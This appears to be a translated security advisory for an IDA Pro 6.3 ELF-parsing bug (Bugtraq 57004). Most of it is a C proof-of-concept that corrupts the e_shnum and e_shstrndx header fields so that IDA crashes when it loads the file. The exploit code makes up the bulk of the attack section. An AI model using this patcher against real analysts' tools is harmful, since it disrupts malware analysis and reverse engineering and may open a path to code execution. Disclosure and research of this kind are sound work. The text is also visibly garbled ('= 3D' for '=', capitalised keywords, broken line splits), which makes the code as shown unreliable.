IDA Pro 'elf' File Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Hex-Rays IDA Pro 6.3
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57004

Ida pro (IDA) is an Interactive Disassembly tool.

The error process exists in IDA Pro's processing of the ELF Header in the EFL file. The EFL Header contains the e_shnum and e_shstrndx fields. The former indicates the number of elements contained in the Section header table, the latter is the index of the element in Section header table. Before using the index e_shstrndx to reference elements in Section header table, IDA Pro did not verify whether the index value e_shstrndx is greater than e_shnum, resulting in access out-of-bounds. Attackers can construct a malicious ELF File With e_shstrndx greater than e_shnum to trick victims into clicking malicious files to launch attacks. This vulnerability can cause the affected applications to crash and may cause code execution (unconfirmed ).

<* Source: Alejandro HernAindez (nitrousenador@gmail.com)

Link: http://xforce.iss.net/xforce/xfdb/80735
Http://packetstormsecurity.org/files/118953/IDA-Pro-6.3-ELF-Anti-Debugging-Reversing-Patcher.html
Http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
Http://www.exploit-db.com/exploits/23524/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

/*
*
* IDA Pro 6.3 (crash due an internal error)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* Http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
*-Nitr0us [http://twitter.com/nitr0usmx]
*
* Tested under:
* IDA Pro Starter License 6.3.120531 (Mac OS X)
* IDA Pro Demo 6.3.120730 (Ubuntu Linux 9.04)
* IDA Pro Demo 6.3.120730 (Mac OS X 10.7.3)
* IDA Pro Demo 6.3.120730 (Windows Vista Home Premium SP2)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in develo =
Pment)
*
* Timeline:
* 21/11/2012 The bug was found on IDA Demo 6.3
* 22/11/2012 The bug was tested on IDA Pro Starter License 6.3.120531 (3 =
2-bit)
* 22/11/2012 The bug was reported through the official Hex-Rays contact =
Emails
* 23/11/2012 Hex-Rays replied and agreed that the bug leads to an unreco =
Verable
* State and it will be fixed on the next release
*
* *************** Technical details ********************** *
Nitr0us @ burial :~ $ Gdb-q idaq
(Gdb) r a. out
(No debugging symbols found)

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0xb6860760 (LWP 3638)]
0xb55f7694 in default_notification_handler (reader = 3D @ 0xbfbffae0,
Notif = 3Dreader_t: err_shstrndx) at reader. cpp: 33
33 reader. cpp: No such file or directory.
In reader. cpp
Current language: auto; currently c ++
(Gdb)

The root cause of the problem is that there's no validation
Verify if e_shstrndx> e_shnum before referencing it.

**************************************** ******************
*
* [Compilation] $ gcc ida_63_elf_shield.c-o ida_63_elf_shield-Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
* Carlos Ayala, Daemon [Thanks for test it on IDA paid $], = 20
* LightOS) chr1x, alt3kx, tr3w, crypkey, el_chito, nahual, beck, = 20
* Sirdarkcat, NataS, ran, Fede Bossi, nediam, psymera, Rolman, = 20
* Kbrown, Bucio, p4dm3, Hector Lopez, zeus, Matias Brutti,
* Sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, el5patas, = 20
* Vi0let.
*
*
* Http://chatsubo-labs.blogspot.com
* Http://www.brainoverflow.org
*
*/

# Include <sys/mman. h>
# Include <stdint. h>
# Include <stdlib. h>
# Include <string. h>
# Include <unistd. h>
# Include <stdio. h>
# Include <fcntl. h>
# Include <time. h>

# Define EI_NIDENT 16
# Define ELFCLASS32 1/* 32-bit objects */
# Define ELFDATA2LSB 1/* 2's complement, little endian */

Const char e_magic [4] = 3D {0x7f, 'E', 'l', 'F '};

Typedef uint16_t Elf32_Half;
Typedef uint32_t Elf32_Word;
Typedef uint32_t Elf32_Addr;
Typedef uint32_t Elf32_Off;

Typedef struct
{
Unsigned char e_ident [EI_NIDENT];/* Magic number and other info */
Elf32_Half e_type;/* Object file type */
Elf32_Half e_machine;/* Architecture */
Elf32_Word e_version;/* Object file version */
Elf32_Addr e_entry;/* Entry point virtual address */
Elf32_Off e_phoff;/* Program header table file offset =
*/
Elf32_Off e_shoff;/* Section header table file offset =
*/
Elf32_Word e_flags;/* Processor-specific flags */
Elf32_Half e_ehsize;/* ELF header size in bytes */
Elf32_Half e_phentsize;/* Program header table entry size =
*/
Elf32_Half e_phnum;/* Program header table entry count =
*/
Elf32_Half e_shentsize;/* Section header table entry size =
*/
Elf32_Half e_shnum;/* Section header table entry count =
*/
Elf32_Half e_shstrndx;/* Section header string table inde =
X */
} Elf32_Ehdr;

Int isELF (int fd );

Int main (int argc, char ** argv)
{
Elf32_Ehdr * header;
Elf32_Halfnew_shnum;
Elf32_Halfnew_shstrndx;
Intfd;

Printf ("##################################### #################\ n ");
Printf ("##\ n ");
Printf ("# IDA Pro 6.3-ELF anti-debugging/reversing patcher # \ n ");
Printf ("#-nitr0us-# \ n ");
Printf ("##\ n ");
Printf ("##################################### ################# \ n ");

If (argc <2 ){
Fprintf (stderr, "Usage: % s <elf_file_to_patch> \ n", argv [0]);
Exit (-1 );
}

If (fd = 3D open (argv [1], O_RDWR) = 3D = 3D-1 ){
Perror ("open ");
Exit (-1 );
}

If (! IsELF (fd )){
Close (fd );
Exit (-1 );
}

// Mapping to memory only the necessary bytes [sizeof (header)]
If (header = 3D (Elf32_Ehdr *) mmap (NULL, sizeof (header), PROT_READ | PRO =
T_WRITE, MAP_SHARED, fd, 0) = 3D = 3D MAP_FAILED ){
Perror ("mmap ");
Close (fd );
Exit (-1 );
}

Printf ("[*] The ELF file originally has: \ n ");
Printf ("[-] Ehdr-> e_shnum: % 5d (0x %. 4x) \ n", header-> e_shnum, header-> =
E_shnum );
Printf ("[-] Ehdr-> e_shstrndx: % 5d (0x %. 4x) \ n", header-> e_shstrndx, hea =
Der-> e_shstrndx );

Printf ("[*] Patching \" % s \ "with new random () values... \ n", argv [1]);

Srand (time (NULL); // seed for rand ()

New_shnum = 3D (Elf32_Half) rand () % 0x1337;
New_shstrndx = 3D (Elf32_Half) 0;

While (new_shstrndx <new_shnum)
New_shstrndx = 3D (Elf32_Half) rand () % 0 xDEAD;

Header-> e_shnum = 3D new_shnum;
Header-> e_shstrndx = 3D new_shstrndx;

// Synchronize the ELF in file system with the previous memory mapped
If (msync (NULL, 0, MS_SYNC) = 3D = 3D-1 ){
Perror ("msync ");
Close (fd );
Exit (-1 );
}

Close (fd );
Munmap (header, 0 );

Printf ("[*] The patched ELF file now has: \ n ");
Printf ("[+] Ehdr-> e_shnum: % 5d (0x %. 4x) \ n", new_shnum, new_shnum );
Printf ("[+] Ehdr-> e_shstrndx: % 5d (0x %. 4x) \ n", new_shstrndx, new_shstr =
Ndx );

Printf ("[*] IDA Pro 6.3 shocould crash trying to load \" % s \ "\ n", argv [1]);

Return 0;
}

Int isELF (int fd)
{
Elf32_Ehdrheader;

If (read (fd, & header, sizeof (header) = 3D = 3D-1 ){
Perror ("isELF (): read ");
Return 0;
}

/* Magic number verification */
If (memcmp (header. e_ident, e_magic, 4 )! = 3D 0 ){
Fprintf (stderr, "The argument given is not an ELF file! \ N ");
Return 0;
}

/* 32-bit class verification */
If (header. e_ident [4]! = 3D ELFCLASS32 ){
Fprintf (stderr, "Only 32-bit ELF files supported! \ N ");
Return 0;
}

/* Little-endian verification */
If (header. e_ident [5]! = 3D ELFDATA2LSB ){
Fprintf (stderr, "Only little-endian ELF files supported! \ N ");
Return 0;
}

Return 1;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Hex-Rays
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.hex-rays.com/products/ida/index.shtml